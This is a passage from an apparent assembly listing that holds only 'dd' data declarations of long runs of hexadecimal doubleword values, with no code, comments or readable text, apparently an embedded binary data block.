0AEBC577h, 8B308245h dd 8088DF33h, 90AE1490h, 91C76057h, 17895010h, 0CF355Ch dd 0B9C67D9Ah, 78AA68C0h, 0E1996C6Ch, 74882580h, 0A72E0026h dd 6AC0CD49h, 0D905AFBDh, 97060443h, 0E2177402h, 33A6009Bh dd 5CB2059Dh, 492BCA30h, 1F5422h, 265F9217h, 0EEA5FA60h dd 45D37A00h, 39DEC73h, 92B8A3BBh, 208640Fh, 0F34B3E72h dd 2C40F47Eh, 1754A66Bh, 58982CF8h, 0D12A44h, 63622510h dd 595BE6B5h, 3005DF2Ch, 5718AE11h, 8DCEB1C9h, 0AC153400h dd 5F5E13A8h, 0C2CF05Bh, 3E1DE70Fh, 0B10AAC8h, 0C8083393h dd 288A24E6h, 1761F037h dd 4A01B6AEh, 506980AFh, 0AC77562Bh, 47ED1D15h, 3CE0069h dd 31428611h, 44902940h, 2B77237Fh, 32BF4A80h, 0D118854Ch dd 1EEA7CC3h, 33D37F00h, 2A7E213h, 967395E9h, 0C868AE97h dd 0AC0C5386h, 489B6F2Bh, 77EB0F5Dh, 578E8DAAh, 3CB1CA2Ch dd 898BC913h, 4501100h, 0BAD65F8h, 0B4A25481h, 43F0C413h dd 0ED808AD3h, 0D6BB24FDh, 12B70398h, 19112607h, 57189EA5h dd 453661C4h, 1FE40901h, 1D904C3Dh, 1F599D8h, 0F0960750h dd 73F933B7h, 0ECEF00C8h, 0DB4CDFE7h, 70313A9h, 0B380448Ch dd 0A6730130h, 8184E867h, 52C285Ah, 90048F44h, 0C40116EFh dd 294BB532h, 448B240Ch, 30CCCD3Ch, 45A2A104h, 0F279C0F3h dd 0BE9FBB09h, 6EF69E1Dh, 8122A38Fh, 6C6DDED0h, 0C7BC499Ch dd 90B7EAB3h, 578D9740h, 3A382494h, 3A5100D8h, 0AB54A538h dd 129B7E72h, 230EB5E8h, 80887FA4h, 9867E38Dh, 4921F278h dd 51C06948h, 0EC770AF3h, 1812B5h, 0C5702C7Ah, 0E8920FEFh dd 1337D216h, 53E82518h, 8064916Ch, 0D30A9BF4h, 45010C5Ch dd 0CB3D781Ch, 844911B5h, 50F76860h, 6FC8496h, 0C3ADEAF5h dd 0F11B10CBh, 0C0296D6Eh, 0F82408Fh, 1E38C639h, 0F6E62C00h dd 0A0CFDC6Ch, 7490782Eh, 0CC9B30AEh, 0BEEB7540h, 68B5A52Eh dd 8C613492h, 1006B9C2h, 8A1F9608h, 244449B6h, 7E64EB00h dd 0FC87D14Fh, 0C7320061h, 3171F3BBh, 31C147B5h, 40B26995h dd 209BE428h, 261F4CA0h, 3B0984Dh, 52EF4ADFh, 36912188h dd 9E1910BEh, 0DF106C58h, 0F2C8138Eh, 0BF28B421h, 6E299872h dd 0CC1F00A0h, 0A5FF230Ch, 38E43B12h, 3F9148D1h, 87EF2841h dd 809E6D01h, 7C626139h, 462A2Fh, 6038156Bh, 0B1C4731Fh dd 0D88EB900h, 0ED64117Bh, 16DC0757h, 4FBE05D5h, 90D41BE6h dd 3B23AC0Ch, 20575886h, 0EB171C29h, 2C4047ADh, 9DEDC939h dd 0BFC8A85Fh, 0FB440056h, 0F852BCA2h, 8B00510Fh, 0E34CDC59h dd 3A6BFD1h, 0E903183Eh, 0F90023C9h, 1568D985h, 33077EAh dd 0BBED21E3h, 67902ABFh, 900049A9h, 6DDAF317h, 0E83B18Bh dd 78B316E6h, 0CF8CC020h, 3001C306h, 17B4B5AAh, 8C409F2Ah dd 989C55B2h, 9E34A1CBh, 0E438F610h, 0E6560F00h, 8A685BCBh dd 10E80EF3h, 2602B87Ch, 8481B796h, 70365C3Eh, 13345F8Fh dd 0D40441C8h, 4C49BA3Bh, 4B33404h, 1090974Ah, 0B46B6B4h dd 0CAF7025h, 0D17A4603h, 0CF3B2FA0h, 0C6B0D2Eh, 399CD20Ch dd 0EE9840E6h, 0D02AFC00h, 4755BBA3h, 0D3A03F2Dh, 1D057980h dd 38C6580h, 641C04A7h, 0E7071C60h, 6D72C03Ah, 18F6CBE3h dd 0FD4B5606h, 6197B1Fh, 0B704148Ch, 270F404Eh, 0E17DAC0Bh dd 6867DD89h, 82BC598Bh, 0E5539B00h, 0D1F9A40Ch, 67A8F448h dd 65D84713h, 38814B0Ch, 0C2E08Eh, 5E87FF95h, 4BFED01Ch dd 3010A1F7h, 4E9AE780h, 3CE30780h, 3B07E637h, 73791721h dd 0A00150EBh, 9A59CBDFh, 0D4F14B55h, 0A226D647h, 68E20010h dd 0B9C76184h, 0B300C937h, 0ACE4F408h, 61CBE8B8h, 797F29F2h dd 24C8808Bh, 0EBD0472Ch, 0E1E70387h, 0E89D5164h, 2A03293Dh dd 0E5048C7Eh, 51653360h, 83D7041Dh, 3E90028Dh, 2A08A264h dd 0ACB8A891h, 0A863FF50h, 0A9D22A0h, 8DF2388Eh, 0D12A0384h dd 792EEACBh, 0C6068884h, 3C21F636h, 7A2A6165h, 433D05E8h dd 0EC33CDh, 78B28A18h, 89005ABBh, 5160F4C8h, 0C606FF13h dd 0B987CD71h, 797483F0h, 0BD8E9C03h, 0C0908808h, 0FAEDC7ECh dd 49863C5Dh, 9D54B906h, 0DB0661E4h, 7FEB0729h, 92B6C40h dd 0A4A0E550h, 41CF91D0h, 0C3CA068Ah, 0A8DB5458h, 977815B7h dd 5C438486h, 2B4CC0Ch, 302AA498h, 0E0079026h, 0A3ED7791h dd 0A7ECCF40h, 0C9BE0060h, 0D1CA6601h, 1830A680h, 4A49D147h dd 4C0B3014h, 0A78DD111h, 90595D03h, 3101EDE2h, 0E8104E18h dd 0E684508Ah, 1239BE1Ah, 0EAFD121Eh, 4BB20842h, 2328B447h dd 16E14945h, 588A6940h, 809467FFh, 8A0D59EBh, 433A60D3h dd 0C6640A7Bh, 280A47Eh, 4A17CA16h, 404C5318h, 932594C7h dd 39007DC7h, 9053B151h, 0DE33E82h, 4E21C149h, 2179FD91h dd 7C036018h, 3C2B31DEh, 54E39058h, 1845A4F1h, 0D9623687h dd 0BD490B0Eh, 0B2344208h, 9A801727h, 0FAB1728Eh, 3E1E06F5h dd 0D0795106h, 0C33B0A00h, 0A77DD163h, 323024E8h, 0BC754FACh dd 14D838B7h, 786260CEh, 0E07FC551h, 89120890h, 50462DE2h dd 18E9498Fh, 610EFA14h, 0A9C899A4h, 773D42FBh, 0E541C707h dd 8C48CC64h, 4E2300FDh, 457D04DDh, 880473F2h, 5E1C3071h dd 40052CC2h, 242B670h, 89480423h, 0E8A15CE9h, 207D57CDh dd 20A6DB37h, 63303E50h, 2450F64Dh, 0EB989CB1h, 7D439B08h dd 413BF80Eh, 56104147h, 4A388082h, 0AB70AEDCh, 0D37025Ch dd 0B20E189Ah, 0B56815C0h, 0F2C4C200h, 0AE63ECAAh, 0FD2B81Ah dd 37599438h, 0F1D63243h, 1C7481E0h, 8BE53B3Fh, 80224001h dd 0B8F2692Eh, 89E07Fh, 0F0865D6h, 863CC6E6h, 388440DDh dd 7A07F2DFh, 0A1DDB01Ch, 201E4010h, 2740FB3Fh, 0AAF785EDh dd 0B9192CA8h, 77DB018Ah, 0CC6D5894h, 0E800D338h, 67787CAEh dd 2C97DD8Dh, 48885210h, 0A87ED504h, 0F7585F8h, 0A1D78B6Ah dd 342140A0h, 270114F9h, 70BDBCC5h, 1C316AADh, 715AC6DCh dd 7F380086h, 0E0B6E435h, 40C0747Dh, 17D199E1h, 9102391Ch dd 85B22280h, 6F7B7E49h, 8323080Eh, 0E0352F9Bh, 0E48CEC32h dd 68AE40AAh, 9C40CFF6h, 27126h, 85B91867h, 66B181FBh dd 7800F6ECh, 0CD425AC4h, 7F8C901Fh, 80E000D5h, 0DB3577E6h dd 100257C6h, 67013920h, 973862F6h, 0A7805D94h, 0E8895978h dd 1C41FA9Bh, 431C0222h, 0DE85B818h, 91B7B90h, 9B4B48h dd 22904038h, 215BEDh, 7486E1E9h, 590D2E61h, 0B2120A00h dd 2362F96Bh, 0EED80E84h, 0B0E077D3h, 289EDEE1h, 2E06BA90h dd 0B71D5EFAh, 67720840h, 6C000783h, 1C1840B2h, 0BE84001Ah dd 696FA9F2h, 0B8000BBCh, 5A8674BDh, 0E8B8138h, 6CDAE8E0h dd 0DE3767C0h, 0E000358h, 1618411Fh, 0B379761Ah, 0D5F8558Ch dd 0AB85004Dh, 0C6E4891Ah, 22006B01h, 0B619032Eh, 0A28776h dd 436C7570h, 79C0E71Ch, 3A8D9400h, 0E5DF302Ah, 0ABAA03AEh dd 0A44C2E63h, 321D12F0h, 0F6019300h, 48F9C4EFh, 76B1DA6h dd 6FC2C00Ch, 0C8D14244h, 0B1D43207h, 68306CDFh, 960A86h dd 1F61B05h, 0C5B90E06h, 6DA48500h, 0BB2727Ah, 385103C2h dd 8A345B47h, 4F2E390h, 62DC6D12h, 1958FF00h, 3F1E17h dd 0B618634Ah, 78454282h, 28B9680Bh, 3DAC0079h, 2980388Ah dd 2388175Eh, 0F67F04h, 774ECBDCh, 0A050BD74h, 0F2C97600h dd 0B5797D84h, 5034A58Bh, 0AF00D3A8h, 7DA104F3h, 17AF8DCh dd 6B9F9976h, 5964E3E6h, 0A535DC1Ch, 109018C0h, 162EBh dd 0C8AA6188h, 8F55186Ch, 8BF13903h, 6967D6h, 86730539h dd 0ED7FEBD8h, 5E4832Fh, 44001CD4h, 0A227869Ah, 5D3305BCh dd 8F6534h, 5E3DE3Ch, 0E90302A3h, 5AA55412h, 6BEFE089h dd 944300CDh, 804B561Ch, 0D31D60F9h, 41D691CCh, 7F0748D0h dd 77290149h, 0DC57516Dh, 5E1C585Ch, 0C14F3C80h, 0F2A3DFE9h dd 794BE0C5h, 0E178D906h, 39B11167h, 0E900FA09h, 0B92EC476h dd 0F53E3BB5h, 9F4ABB8Bh, 0B87C6D71h, 0D956FAEAh, 86087C84h dd 0C497EB53h, 9DA34016h, 92FA86h, 0C6FFCA34h, 66071487h dd 0B2AA21C1h, 80409874h dd 52CCDFE3h, 7A00CC5Dh, 18786C12h, 0C007B2BCh, 71090C08h dd 39A45C40h, 15DC0A65h, 0BAAC48E2h, 53370480h, 0AB6D7249h dd 0DCDC8E54h, 8675168Ch, 48E0C4DAh, 0A6800158h, 7F0D869Ch dd 76FA0065h, 152B36F0h, 99C05BCBh, 9C13E4A2h, 982D0770h dd 500D7755h, 6EBE6799h, 43D0E105h, 0C44203F8h, 5453080Eh dd 7FB10130h, 80460458h, 29D723B1h, 12EBD073h, 0A0828808h dd 21C01E1Ch, 8929CF06h, 0DBA000DDh, 2A58E430h, 880EC4EAh dd 67C61A36h, 50093266h, 92C71064h, 64E20263h, 48843199h dd 7B45A018h, 0E002040Dh, 0ACFB4767h, 88112428h, 0D5DC180h dd 7B254A85h, 0D23901FAh, 1F2F50ABh, 0E547004Eh, 0E70C0A5Fh dd 0CB0258Ah, 0B8612B87h, 5D170E18h, 0E59528h, 9E54CB57h dd 3F144D36h, 898F3130h, 9D43E4h, 502573DCh, 0D051D280h dd 0EF311900h, 0ED17BB66h, 0D5600539h, 0F52FDC5Ch, 5B46F828h dd 908DA502h, 40C9070Ah, 282ECA18h, 1F8045E3h, 0D9AC55h dd 0DB601346h, 0D7013F15h, 4073BAD4h, 76D8A883h, 489195DCh dd 3E90589Ah, 2E31008h, 4012C4F8h, 320D56BEh, 15130038h dd 46AED481h, 55E8483Dh, 0E7074B0Fh, 940F726Bh, 0E01503h dd 2C380C41h, 5F54A7A5h, 0B3CC4004h, 0F7484753h, 48146125h dd 0CC79F8h, 0A4A01864h, 33D8BC2Bh, 7DFD5700h, 0E641ACB6h dd 346FA4Ch, 404BF70Bh, 0E9A9D54h, 76803443h, 0FA12AD69h dd 3200CF72h, 5A836028h, 0CBE30D1Dh, 4228559Fh, 41309D0Ch dd 2DE1110h, 80978840h, 600D59BDh, 5400A4DCh, 701BACC2h dd 0C8A57D3h, 0C029D256h, 0E23DEB99h, 897B87FBh, 0DA5379B1h dd 0D400E5A3h, 3180E04h, 0D52F86Fh, 14D89BE5h, 8643DC90h dd 0CCCA4909h, 6CB02150h, 0F0803CE1h, 0B68A3DCh, 35E8A40Dh dd 8E180095h, 0EEC3CD7h, 7662AF7Eh, 15CD4583h, 198A638Bh dd 2C00E444h, 7058DB71h, 39FE173Eh, 0AE0122FAh, 0B7F60CB5h dd 21E0CCC7h, 51D7ED01h, 0C8D60B2Dh, 4869B0B5h, 52C053D8h dd 46D07629h, 31B22D3h, 0BE29CA09h, 0E5A9AF7Ah, 63EBF8D8h dd 0A9ED9C9h, 0E0004C50h, 0BCE6BAD7h, 23D77A3h, 0A1682ECFh dd 9C8287FFh, 0C800960Fh, 0E13D6E36h, 2A6164F0h, 9CCBBC6h dd 1B267F05h, 7DE0FC58h, 0B40B0E16h, 61B2D0C2h, 3D02450Ch dd 0B48774C4h, 97673444h, 0B2C2C0C9h, 0FE0436BCh, 71ECF71Fh dd 0EF1068BDh, 74CD288Bh, 0BC94C500h, 85E4F686h, 446404A4h dd 94AB404Eh, 0D5A86100h, 0DBD0E829h, 0E820458Ch, 2B0029CDh dd 0A9984EF0h, 9450DF5h, 0B04C43E3h, 387BBC00h, 5180ADE7h dd 8D4249Dh, 3690202Ch, 7918E6DEh, 1CC4E485h, 4EC19060h dd 10E8FF4Ch, 0E6C46D04h, 0C0B8277Fh, 0D07529D9h, 1722FB46h dd 29510C02h, 0E432FD50h, 0AC7C2944h, 181DD18Ch, 8FB702A1h dd 9D6FE2ECh, 0C1901841h, 0C460D617h, 0D8598C4Bh, 8679807Ch dd 436FEBD6h, 11822EDh, 3086A0A2h, 0E4FEE5A7h, 0D1044E24h dd 50AEA53h, 883AB8D5h, 0C7002023h, 54046341h, 62F70EC8h dd 0A8DFA3E3h, 73E7DA8h, 0C636F151h, 5CD3092Fh, 97E1D809h dd 809C9158h, 0BEFF79EDh, 2C36042Dh, 0E96143C6h, 0A3DD02B0h dd 613D7538h, 74FADF60h, 0AB9B83B4h, 8EF0D304h, 20063B79h dd 0E6F521C9h, 0AA7C21h, 59E55CD2h, 21C3690h, 6B972E14h dd 0DAEC0BB8h, 8E64A773h, 4B0BF01h, 30DDC452h, 0D7108672h dd 0A7E077EBh, 41738699h, 1596544Ch, 80809B64h, 2E00D5Bh dd 22684350h, 53BB0013h, 5E2E070Dh, 82B59E7Ah, 81902012h dd 0BE04ADA8h, 41F06820h, 1C60EE11h, 90807933h, 69A32C10h dd 841680F8h, 0F034308h, 6762E8A8h, 10667E01h, 9CD86C8Bh dd 0D84C26CDh, 0E7A30906h, 4C8324B2h, 391D1504h, 634E7339h dd 80A92E08h, 64ED733h, 9B1614D0h, 5B00FC41h, 0ABC25784h dd 0B003E4Ah, 0FADC7C6Ch, 791367B8h, 8F351FEBh, 30475810h dd 9C28B75Eh, 0C4A7B899h, 0F3601B44h, 0FE1F7585h, 0E993D9A8h dd 3DAAE4A4h, 53FE4C3Eh, 0EC05E494h, 909A14B2h, 59204B68h dd 0BBB36B00h, 37A34985h, 0F81C60BFh, 6560EE0Ch, 1614F0EEh dd 1FA8632Fh, 0EC6612E2h, 0E889029Ch, 2478D0BEh, 60DC8F53h dd 79750361h, 0C243099h, 1A465Ch, 7E36726Ah, 100D1Ch, 3355BC44h dd 0BD5E2617h, 309C4304h, 81006590h, 4873E0ABh, 0B1AD3F07h dd 0C4E0713Bh, 584A0C96h, 0E03A5899h, 18A261EFh, 0C08038D3h dd 0DE1D85BAh, 1F59102h, 485C1B0Eh, 0FCEE0B1Ch, 8E74067Ah dd 30347F18h, 8B76C2Ch, 832C1428h, 2B9368B1h, 1302FCB0h dd 2B83E7Fh, 7B494AD8h, 34519C42h, 0F1181D59h, 0F5304E00h dd 0CCF8E3F9h, 8AE117D2h, 23F83AE2h, 59220013h, 0F25C04C7h dd 11F1911Ch, 0E716B18h, 8C4555E7h, 2D9AC42h, 14C615D4h dd 1D797825h, 801F91FCh, 0B8BADB0h, 159E002Ah, 7A6F85C1h dd 0B8ACF691h, 28C73B02h, 0C406A3BBh, 0D6F10E34h, 432025DCh dd 103F46F8h, 74A1801h, 4DB56E59h, 5C1ACBCCh, 0CD880C02h dd 403CE0C0h, 22E446E6h, 0D68D0036h, 1E517F3Ch, 0B5025437h dd 0F6E6423Ah, 5A804211h, 270C13E4h, 51400995h, 0A316D848h dd 4E613F44h, 0E0B8D0CCh, 0D700AB44h, 4CE343D5h, 0B18BEAA4h dd 187A7160h, 466D004Bh, 0DCC27CBAh, 7F12069Bh, 2C02B476h dd 760912ACh, 867D8168h, 0FC3DCA4Ch, 0E09406DEh, 9C3BE340h dd 10E4A00Fh, 444A483Dh, 4C68887Fh, 9E074E7Fh, 0CBE81D31h dd 0BC4050B5h, 0CA423C94h, 2FBE074Bh, 11364199h, 0D9AA7CA5h dd 2CE3E578h, 438EB8CCh, 175C0B65h, 5A40000Fh, 0B1A1546h dd 190A8F5Fh, 1E91CC1Fh, 0E4420D80h, 121F8A8Dh, 6AC0A81Dh dd 78BAEBCEh, 25D4908Fh, 9892CFE1h, 0F5805C1Fh, 0A3E89CE3h dd 0AF894ECh, 80A40F63h, 8FA42391h, 0EA001148h, 7FD7E051h dd 17549B60h, 211B449Dh, 6A129EE4h, 6EA3140Dh, 8F071881h dd 737EB8h, 801C709Bh, 78252585h, 9CC89818h, 644A5C02h dd 16C8C310h, 5C1084F0h, 0C1042708h, 0C4727050h, 0A03017F2h dd 10023112h, 32D10ED9h, 5C143E98h, 11ABC8F4h, 29D88055h dd 8CC3D074h, 60EE2145h, 0B06404h, 24D410C9h, 56BD15D1h dd 0DC4F624Fh, 0C9003273h, 1EB8CC0Fh, 3DE0023Bh, 4BAAE63Fh dd 2E9F9C85h, 20233Ch, 70EF5C4Ch, 0EE26040Dh, 551EECEAh dd 61C989C0h, 387BBCB5h, 0A2A668FCh, 8E780FDBh, 80B764E1h dd 848289Bh, 3B584B18h, 241F0A3Fh, 0DDE3015Fh, 0D0BFDA1Eh dd 0A81F2191h, 0C7CBD478h, 1390447Eh, 4AF68F8h, 12A52C20h dd 49D4B400h, 8066DECCh, 0E57E46BFh, 0F810E31Fh, 57109259h dd 3BA61C74h, 90C8F716h, 53015423h, 0CBD07729h, 0C289A463h dd 61949007h, 20B496E2h, 0DB243710h, 0CA3B28E8h, 0C6C44Fh dd 0E4459297h, 34A90336h, 0ADD6C227h, 238F7590h, 0C370D216h dd 3D978404h, 0CBDF5B00h, 525A8956h, 6B9B4C0h, 85D900FBh dd 0E34EB233h, 24B236CBh, 0DF1F0309h, 22802F14h, 6857CCD4h dd 863EB0h, 595A8CA9h, 0B4A1B12Fh, 0BF5FA00h, 0A8C009AFh dd 7DD72406h, 0E540890h, 0A9BA5201h, 0AC41D495h, 0FD009E08h dd 61166739h, 40A013C7h, 131F5B63h, 8AC4161Ch, 0C07AC87Ch dd 0CE34F693h, 6266B500h, 8B3704D0h, 8C8D316h, 0DEC0CF38h dd 21E63E3Ch, 59989D74h, 0DCC721h, 0EC58DE3Ch, 0C949E3F6h dd 66C08A51h, 0AF37F0FCh, 0BC0E636h, 5A23108Eh, 0AC4CD090h dd 0D3010381h dd 0EC9C3848h, 9F1F8C2Fh, 60328BDh, 8AC9835Bh, 3BCE61Dh dd 24FAC8E3h, 2C90555Ah, 28F6F86Ah, 0DFCCF206h, 0E129892Fh dd 0D1E2E8h, 0E347D459h, 0B53EDC31h, 6EF7104h, 70147B55h dd 748C1CE8h, 1B760277h, 8A36D09Ah, 0CD5BCCC8h, 60B87FF8h dd 7887A545h, 63F36AEDh, 0AECAB2B4h, 0DFE29482h, 18D3D4C1h dd 51860B74h, 8CC5C7EBh, 869BA580h, 7757D3h, 0FACFDDD7h dd 64CC8D6Eh, 0A0CAB0A8h, 5900D677h, 3C734320h, 903677E6h dd 254F7CA2h, 688E1FD7h, 54B3D16Fh, 1FB804ACh, 1F33E88Ch dd 80C90DBFh, 0D13DEC54h, 4851F30Eh, 72E2D584h, 311402F0h dd 0D67206D6h, 0A2893EFCh, 0B0AACA8Fh, 0F0C08B0h, 0DAB1DB01h dd 9041ABFBh, 627F8Ch, 9301DC53h, 3A44723Ch, 0AA4AF845h dd 9CAFDD13h, 0FBA09D00h, 6407C09h, 8143CD72h, 0C880584Eh dd 48A8C0Bh, 0D66057F8h, 0D0297229h, 0D4078F3h, 8429CEh dd 188A6615h, 2D6F5105h, 1F308F17h, 137D78C0h, 0C4A2B5ADh dd 0C216603h, 0E46804B3h, 0D4B78314h, 2081C713h, 0E01D1AD4h dd 0FCB1622Eh, 830C7C87h, 0DD872344h, 898B80BAh, 4E048E4h dd 0FE99C313h, 69C8BF43h, 9B00018Fh, 0DD57AFEAh, 27904D2Ah dd 0A800ACB2h, 0A37BBDE0h, 1AFF120Ch, 3AEB6855h, 825ED3E2h dd 0E22EB30Ch, 0B12E6E8h, 0B6BE40Fh, 189E7C69h, 0DF1005BAh dd 0CB685802h, 52487F60h, 1BD1EEBh, 0E8B4D153h, 44435DE0h dd 4B55B302h, 54DECBD8h, 7D7AC89Eh, 36C6280Bh, 60CCC6A2h dd 0D402A15Dh, 886030ABh, 0E2426251h, 38C51EA3h, 47147853h dd 5900C88Ah, 86054F0Bh, 0E700BD35h, 4185DF96h, 0A0DB154Dh dd 7E637A8h, 0B9E2B2D9h, 80D8BA62h, 35B86170h, 6600F7F9h dd 0A9D76749h, 2CF30A92h, 6164790Fh, 65A843E3h, 0F2986034h dd 7B78653Eh, 19DC9534h, 0C40650C2h, 0F7211C78h, 0E78480F8h dd 0F4AFB568h, 0FF7F3D05h, 0B6873CD1h, 6ED920C0h, 9C0E7679h dd 2ED7621Ch, 820DC72h, 0FD142797h, 187CA9h, 0D6070711h dd 6A87844Ch, 0B8200D43h, 4733A69h, 121C65AAh, 47E8F4FAh dd 42DD1650h, 71C00475h, 0E9B54F75h, 0B1BC0040h, 9888130Ah dd 0B41DCA90h, 9E8338AAh, 0E042Bh, 70339131h, 0C9F5CDE3h dd 3A12FCFAh, 0EC9706C0h, 801E8617h, 31E95962h, 0BAD50202h dd 0AAA2CC4Ch, 655F44D8h, 0C097BC48h, 2E4103Fh, 0BF80F043h dd 883A0D57h, 30714917h, 0FBC694D0h, 966A3AA4h, 9ED91D00h dd 4F911484h, 2743D30Fh, 0A656C0E5h, 24D769DFh, 1848EB7h dd 762E6ABh, 7D1AF072h, 84FC2E2Eh, 0E87CEE00h, 4D0ED084h dd 4B01F47Fh, 2F188F51h, 0DC396Ah, 549A9126h, 0BA17BC9Dh dd 0EB371040h, 3FAB0011h, 0DFF95B60h, 0F38A0431h, 0E294C804h dd 8D53263Ch, 0CF2F003Eh, 89639D3Fh, 0C3D10112h, 1C825441h dd 55E5D0B8h, 0AF6B0B05h, 5CB41140h, 0A624077h, 4124C04h dd 450E8BACh, 0A6182073h, 0C700C5F7h, 99B3D464h, 0E8ADB291h dd 0EB283B1Bh, 4AA1810h, 529778E2h, 0E0DB04D4h, 0C29D87C0h dd 40FA91FBh, 85AC1A38h, 0B2DE23Bh, 0B81A7184h, 0D9D47130h dd 6F51816h, 0CE7F0509h, 0F890A81Ah, 1417DC2Fh, 2ECA0934h dd 0C4525FDBh, 97806212h, 18386C1Ah, 59490h, 0F4A66633h dd 0ECD2F35Ch, 91180879h, 0C860772Bh, 0EA448607h, 90675ED2h dd 0B22172BCh, 6429C200h, 0BA582BB3h, 0EF7B07D1h, 0B19D3EBBh dd 0EED4C31Dh, 6D341440h, 0A286D496h, 21C971E9h, 0CF910FA4h dd 0AD10901Dh, 0A0FA8813h, 3C54B8E6h, 8E2461A8h, 0CE8D8487h dd 0B4F099CBh, 68AB03C8h, 41EC97BBh, 1D208013h, 0F08BF053h dd 30658F84h, 14E9BAB3h, 4496E812h, 71676778h, 1618B38Bh dd 0E7FB600Ch, 614DE126h, 9DBED0C3h, 1BCEF0FCh, 0B0C7254h dd 0A1C1F600h, 0DC05222Ah, 4B23E64h, 284860F3h, 45E893DFh dd 37A358C1h, 301ED77h, 81E45512h, 0F0F27CAAh, 3F004097h dd 0F0CCCF99h, 30A3B2Eh, 8F0347E7h, 50094A82h, 5BE3883Dh dd 4D075868h, 8F4C3E05h, 40419CC3h, 18B9541Dh, 100EFCh dd 5E933950h, 677BD7Eh, 0A02B0C24h, 0E840782h, 7C44CEh dd 3F144F90h, 0E2D604ACh, 0E9F49330h, 0B1B29705h, 63470ECCh dd 0CF00EC95h, 1769963Ah, 0AC02DD46h, 749BE922h, 0A3030004h dd 6B004087h, 0FD060CC4h, 95AF3B1Fh, 15AC4011h, 1E078E6h dd 440264FBh, 87D765D1h, 79EC4279h, 181779D8h, 108D09D4h dd 70105973h, 7B5B903Ch, 808FF848h, 21DDA99Eh, 0DA09AFC2h dd 18B20641h, 982D5B90h, 0BA8A09D0h, 2449D99Eh, 21181665h dd 0CE40D7A2h, 7949C8A9h, 0FAAD0117h, 1F31FD1h, 3220D997h dd 11E81030h, 0B37A5FC4h, 301EB220h, 0E31C0C6Ch, 53C09985h dd 0A5069A21h, 2536287Fh, 0AE901738h, 0B134D155h, 0ECDC2C7Ah dd 0C7018C21h, 0D190DF36h, 7AF89242h, 0FD60042Dh, 0A17593E8h dd 7FDDC094h, 0F823020h, 3D67F303h, 0D67537C0h, 263E09F7h dd 7868264Fh, 59E61340h, 7765001Ch, 9DFC57Dh, 0C8047538h dd 7170E71h, 0BA25A4ACh, 0BC95348Bh, 0D9802191h, 4311BE2Fh dd 8A0005E6h, 286AA52h, 606472FFh, 3B6B890Ah, 0B2079653h dd 57CFF9E5h, 8AD82E0h, 27F7B0E3h, 9C1785EEh, 60023408h dd 5921D15Fh, 577DE8EEh, 388E7F2Ch, 64E584B0h, 71C9B9Ch dd 0D5E10D5Ch, 58CEA8h, 0F10D54C0h, 24B343E1h, 89C578Eh dd 0EC488F07h, 716465Ch, 91DADFEDh, 588B1323h, 0BA76CD48h dd 0D76C1208h, 870B4CBh, 0FFA26008h, 1B467487h, 45CFF60Eh dd 954FF820h, 0DB3106F0h, 5ECC688Bh, 2D9FAC50h, 0CB5A00C2h dd 36EDFB1Ch, 1E0007BAh, 2922CA57h, 1E7A0444h, 4120E4h dd 36C691B1h, 11974702h, 0A214A6D4h, 6498F13Ch, 3E041C0Ch dd 62E93802h, 2AC4B4h, 2709C539h, 911F3604h, 0D5EDAB98h dd 13883223h, 3C0B8476h, 3ACA0A0h, 39C7AF4h, 0E92404D6h dd 0D4D442CBh, 0DF68CCACh, 4E76A35Ch, 0CFC0CCCh, 7221B71Fh dd 11587758h, 128E38B7h, 78B06C2Bh, 9990220Ah, 0F5191810h dd 0DE1D5E01h, 3A0D15D7h, 60168456h, 0D738251Bh, 0DC60D285h dd 2D548677h, 28169FEBh, 869EA407h, 0A9504021h, 12ADD715h dd 0F4CCD42Ah, 0FB07E038h, 6941B04Eh, 9D308FF0h, 41625A14h dd 388E878h, 8280327Ch, 0F97FA90Bh, 181DD9D0h, 9BB9078Dh dd 0E90FDF6Bh, 0EA2B5C07h, 4BCF80F4h, 366F2AEFh, 28060405h dd 841F50CEh, 0BA045B10h, 0D48043D0h, 21C89390h, 942A6118h dd 0F509B49h, 479C8134h, 14DEB280h, 8A074D7Dh, 0CF612976h dd 408198A4h, 58A568EEh, 419D3884h, 0E67A97A3h, 4815CC72h dd 162238B5h, 6A0B1898h, 0E86346CAh, 0DB7374h, 8D36F844h dd 0D1255C0Dh, 0C84920B1h, 2736C830h, 781141CEh, 8DC1B886h dd 80B1CF37h, 0CB7ACDF0h, 0BC817C19h, 87B8674h, 48495AA1h dd 0DBC0D0B8h, 2DE35B3Ch, 1094A40Ch, 3CD9CC01h, 0A954427Eh dd 198060DDh, 560E8CB1h, 9CE82AC6h, 0E27DD500h, 6C6E0235h dd 0E1141EB4h, 0AB758286h, 0DC7CDD04h, 4CCA6310h, 90C16190h dd 838C20E3h, 408215FDh, 43DE2C9Eh, 200C882Ah, 9D7FB925h dd 801C9110h, 67CB9EF3h, 5060E88Bh, 1479DCB1h, 0A8EBCA97h dd 4CC8AA00h, 398F5725h, 0F4BAEA09h, 201CDA95h, 6C9845CEh dd 0E8FD5024h, 394113E4h, 38C80A90h, 0FECA0B20h, 0E38863E3h dd 605BD9B2h, 2454C830h, 0C347340h, 7859339Ah, 59D02102h dd 72FACBE5h, 2488B918h dd 0C5A5082Ch, 909A33CEh, 778BD9C0h, 18138DD1h, 0D848893Fh dd 4C18B962h, 9FEE3C08h, 0FDDB9401h, 309934CBh, 1000242Dh dd 0D15B09ECh, 9C0254C6h, 6E2CC460h, 0E480C5E3h, 0AA706012h dd 189600E9h, 88E54809h, 222E9886h, 0EB78B44Ah, 36CA807Ch dd 8AA0D254h, 1C40B226h, 0F649D8A0h, 456320E0h, 2F8FF99Ch dd 0C3F4C20h, 854F5CD3h, 9A249A71h, 63608138h, 5001862h dd 0CB52EEC7h, 0FA02A917h, 0B7DB5D79h, 0A198ECBDh, 4C2C8FD0h dd 0E2495209h, 8E7038D1h, 2E038665h, 4815A325h, 31C7C921h dd 0C6704C29h, 996763C9h, 0F3760C06h, 4468DCE2h, 7C01718Dh dd 39CA865Dh, 0D8E0F7A0h, 23530E94h, 401D2899h, 6F461589h dd 0E030422Eh, 0BB2D8904h, 0DE4809E8h, 68522091h, 5C323D05h dd 98AD8261h, 54EA7800h, 4F4B49C9h, 5C9F2F2Eh, 7F0EB8C1h dd 44044C38h, 0B0EC9BE5h, 0E300DEFCh, 8FE73628h, 90A7D012h dd 0AE3806B0h, 7825A491h, 7C6EF400h, 0DFD91B8Ah, 96FE021Ah dd 0CA64A336h, 2001CDAh, 8BD0AB77h, 2D9BE709h, 1C48B0A0h dd 78066FA7h, 0FB57E56Dh, 16017DFAh, 80ACAF62h, 4CA9094h dd 7AC86515h, 13503E68h, 0E0C14318h, 